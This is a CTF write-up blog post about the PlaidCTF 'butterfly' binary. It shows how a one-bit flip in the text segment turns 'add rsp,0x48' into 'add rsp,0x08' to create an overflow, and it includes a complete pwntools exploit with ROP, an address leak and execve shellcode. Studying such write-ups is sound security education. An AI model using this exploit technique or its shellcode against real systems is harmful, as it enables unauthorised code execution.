Plaid 16 butterfly

Solved by 4rbit3r

This was another good challenge from the ctf. This one actually taught me a new vector of exploit called bit-flip. The binary first takes in an input and then converts it into a number using strtol() (call it n) and stores it in rbx register.Then it divides n by 3 and stores the result in rbp register.

It then calls mprotect() twice on this result, the first time giving it an rwx permission and then an rw permission. So we can make any fixed segment writable at least, including the text segment ( Nice) .The bit-flip vuln lies in these few lines of code:

  • <+135>: and bl,0x7
  • <+138>: mov r14d,0x1
  • <+144>: mov eax,0x1
  • <+149>: mov cl,bl
  • <151>: shl eax,cl
  • <+153>: movzx ecx,BYTE PTR [rbp+0x0]
  • <+157>: xor ecx,eax
  • <+159>: mov BYTE PTR [rbp+0x0],cl

So bl contains the last byte of ‘n’ in the beginning. Performing an ‘and’ operation with 0x7 will make sure that the value of bl is less than 7. This value is moved into cl which is then used to determine the number of times eax is to be shifted left (eax contains the initial value 1). So eax will be any of pow(2,0),pow(2,1)..pow(2,7). Then the byte at the address pointed to by rbp is moved into ecx and xor’d with eax. The result of this operation is stored back into the address pointed to by rbp. So our vuln is basically just one bit. Lets see how powerful that can be.

There’s not a lot of options available when you have only a single bit overwrite. But there’s enough in this binary. There is no overflow as it is in the binary since, the binary takes only 50 bytes input, stores it at the address pointed to by rsp and the return address is at rsp+0x68 .

The epilogue of the main function is shown below:

  • <+216>: add rsp,0x48
  • <+220>: pop rbx
  • <+221>: pop r14
  • <+223>: pop r15
  • <+225>: pop rbp
  • <+226>: ret

0x48 in binary would be 01001000. So considering the fact that we can change a single bit, I guess we’ve found which one to change.

The byte 0x48 of the instruction is stored at 0x400863. Multiplying this address by 8 gives 0x2004318. So now, rbx would contain 0x2004318 and rbp would contain 0x400863.
So bl would contain 0x18. That’s bad because the result of the ‘and’ operation would result in 0. But we don’t need to necessarily give 0x2004318 in order to get rbp=0x400863. Because any value between 0x2004318 and 0x200431f when divided by 8 gives us the same value which is 0x400863. So that settles it, setting the input value to be 0x200431e would make sure that bl=0x6. So then after the shift right operation the value of eax would be 0x40. And ecx would be containing the byte 0x48 of the instruction. So xor’ing these two would result in ecx containing 0x08 which will be written back into address pointed to by rbp.

So essentially, the epilogue becomes :

  • <+216>: add rsp,0x08
  • <+220>: pop rbx
  • <+221>: pop r14
  • <+223>: pop r15
  • <+225>: pop rbp
  • <+226>: ret

And there’s an overflow. Now all thats left, is to ROP your way into a shell. I had to sit for a while even after finding the vuln to get an exploit working. I changed another piece of the code segment to nullify the effect of canary. Also decided to make sure that the second mprotect() doesnt remove executable permission by changing 0x5 to 0x7. Then performed a memory leak. The interesting thing to note is that the input the program takes in somehow gets into an mmapped region. I’m not complaining but I don’t know how that happened.

So I used that mmapped region to store my shellcode, made it executable and finally returned to my shellcode which popped a shell. YISSS.

I had to return to the main program several times in order to change the values the way I wanted them, but eventually, got the reward. It felt awesome.

Here’s my script:

from pwn import *
#p=process('./butterfly')
context.bits=64
def func(payload):
log.info(p.recv(timeout=0.1))
p.sendline(payload)
log.info(p.recvline())

log.progress("Starting first iteration")
payload=flat("0x200431e ","A"*30,pack(0x0000000000400792))
func(payload)

log.progress("Starting second iteration")
payload=flat("0x20042e5 ","A"*30,pack(0x0000000000400792))
func(payload)

log.progress("Starting third iteration")
payload=flat("0x20042e3 ","A"*30,pack(0x0000000000400792))
func(payload)

log.progress("Starting Fourth iteration")
payload=flat("0x20042e1 ","A"*30,pack(0x0000000000400792))
func(payload)

log.progress("Starting fifth iteration")
payload=flat("0x2004181 ","A"*30,pack(0x00000000004007b8))
func(payload)

log.progress("Leaking address")
payload=flat("A"*8,pack(0x004008f3),pack(0x600ba8),pack(0x400845),"A"*8,pack(0x400792))
func(payload)
msg=p.recvline()
context.bits=len(msg)*8
a=hex(unpack(msg))[3:]
msg=int(a,16)-20896
log.success("Leaked address of shellcode "+hex(msg+0x10))

log.progress("Setting memory protections")
payload=flat(hex(msg*8)," ","A"*24,pack(0x400792),"\x00\x00")
log.info(p.recvline())
p.send(payload)
log.info(p.recvline())

log.progress("Sending shellcode")
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload=flat(hex(msg*8)," ",shellcode,"\x00",pack(msg+0x10),"\x00")
func(payload)
if p.connected():
log.success("Got shell")
p.interactive()
else:
log.failure("Exploit didn't work")
raw_input()

And well, that did the trick

Flag: PCTF{b1t_fl1ps_4r3_0P_r1t3}

Awesome challenge. Loved it!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Blog at WordPress.com.

Up ↑

%d bloggers like this: